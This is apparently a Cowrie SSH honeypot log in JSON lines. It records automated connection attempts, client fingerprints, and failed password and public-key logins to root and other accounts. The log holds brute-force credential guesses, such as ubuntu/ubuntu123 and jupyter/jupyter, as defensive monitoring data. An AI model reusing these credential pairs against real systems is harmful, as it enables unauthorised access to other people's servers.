{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:23:16.376728Z","src_ip":"147.45.211.215","session":"3800bcd05ab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45324,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4ee9ea4531a","protocol":"ssh","message":"New connection: 80.94.92.186:45324 (159.203.135.109:22) [session: b4ee9ea4531a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:23:34.050841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:23:34.082861Z","src_ip":"80.94.92.186","session":"b4ee9ea4531a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:23:34.282355Z","src_ip":"80.94.92.186","session":"b4ee9ea4531a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123","message":"login attempt [ubuntu/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:23:35.113371Z","src_ip":"80.94.92.186","session":"b4ee9ea4531a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:23:36.251282Z","src_ip":"80.94.92.186","session":"b4ee9ea4531a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":58942,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fdfc8be44b5","protocol":"ssh","message":"New connection: 51.250.105.222:58942 (10.17.0.5:22) [session: 6fdfc8be44b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:23:51.224619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:23:51.230902Z","src_ip":"51.250.105.222","session":"6fdfc8be44b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:23:51.355445Z","src_ip":"51.250.105.222","session":"6fdfc8be44b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4444444","message":"login attempt [root/4444444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:23:51.727121Z","src_ip":"51.250.105.222","session":"6fdfc8be44b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:23:52.854993Z","src_ip":"51.250.105.222","session":"6fdfc8be44b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36896,"dst_ip":"10.17.0.5","dst_port":22,"session":"d89031330b2a","protocol":"ssh","message":"New connection: 103.176.20.57:36896 (10.17.0.5:22) [session: d89031330b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:01.769613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:01.787229Z","src_ip":"103.176.20.57","session":"d89031330b2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:02.041072Z","src_ip":"103.176.20.57","session":"d89031330b2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlad1997","message":"login attempt [root/vlad1997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:02.809628Z","src_ip":"103.176.20.57","session":"d89031330b2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:04.063289Z","src_ip":"103.176.20.57","session":"d89031330b2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":48152,"dst_ip":"159.203.135.109","dst_port":22,"session":"404db5588e39","protocol":"ssh","message":"New connection: 80.94.92.186:48152 (159.203.135.109:22) [session: 404db5588e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:34.354316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:34.393314Z","src_ip":"80.94.92.186","session":"404db5588e39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:34.524417Z","src_ip":"80.94.92.186","session":"404db5588e39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jupyter","password":"jupyter","message":"login attempt [jupyter/jupyter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:35.265308Z","src_ip":"80.94.92.186","session":"404db5588e39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:36.490614Z","src_ip":"80.94.92.186","session":"404db5588e39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.221.176.152","src_port":45208,"dst_ip":"10.17.0.5","dst_port":22,"session":"acaf01eae4fd","protocol":"ssh","message":"New connection: 206.221.176.152:45208 (10.17.0.5:22) [session: acaf01eae4fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:37.726211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:37.731273Z","src_ip":"206.221.176.152","session":"acaf01eae4fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:37.740475Z","src_ip":"206.221.176.152","session":"acaf01eae4fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:5c:9d:da:2e:bc:64:9a:62:44:9e:69:64:5b:9f:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6pqER01tfW3QEoHFJBRpCSbGDvIYzylMKSVzPj2lN6mvG7y5sNRWiNqHW7WxFFQ3LiDgwcOv5HwuIB4jNDoYdByTbcMIWGcyqxYeI/8ZtxbfU9EqfdP95GjOFza9cCKfMyWrCtax8TV3DkauveliY133eX8sr5xqBfM1gPTwaqAyVcM+2L2nNiN0JRWio7GeDo+ECWGuQIv7swVHFQE7JVBA+RhAn4gZvjLXcU+MpSFwCZCK56QdiZ1uORkTCvS8BgO6gmKcXspeFzzBliDNU0d144ofaIzKaa11D8BHNqbNyUeVQiFJ9MDCexTYaHtjXLJ0syNiBEhciXN9zbthj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:5c:9d:da:2e:bc:64:9a:62:44:9e:69:64:5b:9f:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:37.757588Z","src_ip":"206.221.176.152","session":"acaf01eae4fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:5c:9d:da:2e:bc:64:9a:62:44:9e:69:64:5b:9f:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6pqER01tfW3QEoHFJBRpCSbGDvIYzylMKSVzPj2lN6mvG7y5sNRWiNqHW7WxFFQ3LiDgwcOv5HwuIB4jNDoYdByTbcMIWGcyqxYeI/8ZtxbfU9EqfdP95GjOFza9cCKfMyWrCtax8TV3DkauveliY133eX8sr5xqBfM1gPTwaqAyVcM+2L2nNiN0JRWio7GeDo+ECWGuQIv7swVHFQE7JVBA+RhAn4gZvjLXcU+MpSFwCZCK56QdiZ1uORkTCvS8BgO6gmKcXspeFzzBliDNU0d144ofaIzKaa11D8BHNqbNyUeVQiFJ9MDCexTYaHtjXLJ0syNiBEhciXN9zbthj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:37.761062Z","src_ip":"206.221.176.152","session":"acaf01eae4fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:e8:82:2b:be:bc:8f:29:5c:53:1a:22:01:ee:ef:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdne4wyv1cR6EDURTAfX0Vin6T+0xIT5I+k6qSpW5+AbDncKfOSZ8iM6cXt4Wy8J+ax+HyhEXd5tjghphwjakbMV70UCIkN3Vlj4RPY2jJuWjrrrycLbxZJ4sOMXd+ip1PhNyEjgeo39lBF/LCAuGJ9S/CZQQDh9PTbmfoJlZGAmMapnhqtfOT7+xklEOSQHibYfWlt9HnIO9uaOy719kIOS7suvEm+e2bL7qFTMsqz/dAR+agP/WysEsJEHcr36RACDUKTxoq0KI3Wk0LHfVwEtWFn/J1c110/WHF+EVetVO1kxaNAhehxeAuAyNQM5xWRkVC3Gr3aKjyYEf4oVhHWLoUU1cP0GXiDj2672orxCbo82nZ3+jkcFSfPB1UFK65VTUma9As2esxLTYnw1O3I6NvROjUgLLmLSP2OivDWEAsZSSu1vizY+Ekc8smVJibuqpi8hsZ3gGESRSRYEq4mY1w5U92gEEHRzWkWhJnbWN2vPIGKEk+IennVofKpN8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:e8:82:2b:be:bc:8f:29:5c:53:1a:22:01:ee:ef:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:37.768027Z","src_ip":"206.221.176.152","session":"acaf01eae4fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:e8:82:2b:be:bc:8f:29:5c:53:1a:22:01:ee:ef:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdne4wyv1cR6EDURTAfX0Vin6T+0xIT5I+k6qSpW5+AbDncKfOSZ8iM6cXt4Wy8J+ax+HyhEXd5tjghphwjakbMV70UCIkN3Vlj4RPY2jJuWjrrrycLbxZJ4sOMXd+ip1PhNyEjgeo39lBF/LCAuGJ9S/CZQQDh9PTbmfoJlZGAmMapnhqtfOT7+xklEOSQHibYfWlt9HnIO9uaOy719kIOS7suvEm+e2bL7qFTMsqz/dAR+agP/WysEsJEHcr36RACDUKTxoq0KI3Wk0LHfVwEtWFn/J1c110/WHF+EVetVO1kxaNAhehxeAuAyNQM5xWRkVC3Gr3aKjyYEf4oVhHWLoUU1cP0GXiDj2672orxCbo82nZ3+jkcFSfPB1UFK65VTUma9As2esxLTYnw1O3I6NvROjUgLLmLSP2OivDWEAsZSSu1vizY+Ekc8smVJibuqpi8hsZ3gGESRSRYEq4mY1w5U92gEEHRzWkWhJnbWN2vPIGKEk+IennVofKpN8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:37.771377Z","src_ip":"206.221.176.152","session":"acaf01eae4fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:34:f8:0f:cf:be:64:a9:3b:ab:7f:9a:38:7f:14:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxHh9sbWFj72VY8qUQ8hm0vpPVart9mHYCcGIimcj8+Bmc8NWQfppMBoj47Z9UOqFoIZrbXzOU6U936yVhawpOyrBGM4K5dNu0daKnt9aodwZnulPVcwrKL1Dr0dOPx9awCms9wvq8gN+JmXsSkebwEZiFjfAhR71//RoR+8t7Ur3zsYMAp9GYaz/Al9et9y2EgEJiL0UiP0WN+GxNX0t99Fj9rReCRbzcxfRUzEhuEIqRkZNFTzk7m1JbD+zYgVC/SSNKLG13Stq1FyYYbzwZJSqfl0Gk/gkMorQGbla7PHY0G+yJcfq7LU8mUeHytFZDuaD+KGCQR/EJLldLQxcRkhxhZ9CtI7KFeJkIgDUWveQh7Ebojd4lxkLvcYgcnierr8RlFdFjkrC7Y3oi2wy9v/h6XlqYoTxhIj4TRK0cLudzmpQol4AHi4Fqo8tTTUG/ML4PNYb6QgwJ3ieUiUKXQfSv/HJ2HtwSfnakitCxqT2YPoq7brLrgaZpie6O1SSoDT4DIpqXM5/Rrlbip4RjoIRoygMFuSorRrjJokUdaFA14IvaMdMip5fAjSQlaQCf26JhXPm0xcCYg6K+6zafFGuXoxHz+J96dlBKKfAyP+RKEZkf54sAV6Zwsc11tlh1niLsze/YLsuBiLE9KZ4kRwqdNoN51p61ovplcYuSaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:34:f8:0f:cf:be:64:a9:3b:ab:7f:9a:38:7f:14:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:37.778072Z","src_ip":"206.221.176.152","session":"acaf01eae4fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:34:f8:0f:cf:be:64:a9:3b:ab:7f:9a:38:7f:14:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxHh9sbWFj72VY8qUQ8hm0vpPVart9mHYCcGIimcj8+Bmc8NWQfppMBoj47Z9UOqFoIZrbXzOU6U936yVhawpOyrBGM4K5dNu0daKnt9aodwZnulPVcwrKL1Dr0dOPx9awCms9wvq8gN+JmXsSkebwEZiFjfAhR71//RoR+8t7Ur3zsYMAp9GYaz/Al9et9y2EgEJiL0UiP0WN+GxNX0t99Fj9rReCRbzcxfRUzEhuEIqRkZNFTzk7m1JbD+zYgVC/SSNKLG13Stq1FyYYbzwZJSqfl0Gk/gkMorQGbla7PHY0G+yJcfq7LU8mUeHytFZDuaD+KGCQR/EJLldLQxcRkhxhZ9CtI7KFeJkIgDUWveQh7Ebojd4lxkLvcYgcnierr8RlFdFjkrC7Y3oi2wy9v/h6XlqYoTxhIj4TRK0cLudzmpQol4AHi4Fqo8tTTUG/ML4PNYb6QgwJ3ieUiUKXQfSv/HJ2HtwSfnakitCxqT2YPoq7brLrgaZpie6O1SSoDT4DIpqXM5/Rrlbip4RjoIRoygMFuSorRrjJokUdaFA14IvaMdMip5fAjSQlaQCf26JhXPm0xcCYg6K+6zafFGuXoxHz+J96dlBKKfAyP+RKEZkf54sAV6Zwsc11tlh1niLsze/YLsuBiLE9KZ4kRwqdNoN51p61ovplcYuSaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:37.780909Z","src_ip":"206.221.176.152","session":"acaf01eae4fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:af:e4:4b:70:67:c4:83:11:70:f7:7c:65:c3:3e:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDO84yJrtAj663qbBeuqxZbQSV3L9pdXAj4+hwfuRf6qTAsH7H3yGzZrHD4H6MZeiCPi8OsOJs6DNAIf5YrCy63r8SzATWgssAjdYv6PmJHiziM06He/Xk9g9zW3WCAn6LxY4XE/ODAsM3Y3lKZ48aLoFenevbZukUzRvp6MuGy/zuvfxBM7/pZ+NtmB1b/0EftK93Qa9iGsrjuXOhtp/etaQsnkXYKkbCM3NiwODfufgdwswM5tLG791A3Ha+UM3Mjl13p3UnPBvtnZCl07DtbYDr2aNqrrMIZzxaFFvViRgOCa8eBn3ApPfNQTLoCWu5WanBzFCDAGZ/cqKFb9H0T1E49yOPpSBuAVJ/JG2GAwIDbLwnXvQua+WVBr86518BiYDzwJU1CAfnGOY4D9eT93ZdwXIFuQYicfgpXE0lBwEog6ZfREw4Opn8TODz69z6pdGmQ8Xs1CeoJ5NLQaI5P1RAr1+Fv9pfyfKktes/Yl9zQuSU+Rs1noeYiyF8KSXLpDxlQft031PahYCcTndHeoq2BD+EPSbV//3mZ+8UH1hfwVhWH/fwBIhOlAA3wsKnRWbm1LOM4DIJoa6On5FUDK9fi9kzTeRrNQrZ3ixgVd+OLjH2hk8ieVCs0mafkCD8uTJ1YyocLsFNz3Uxymh808a5ALQfavcpFhMeOI18uKw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:af:e4:4b:70:67:c4:83:11:70:f7:7c:65:c3:3e:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:37.790602Z","src_ip":"206.221.176.152","session":"acaf01eae4fd","protocol":"ssh"}
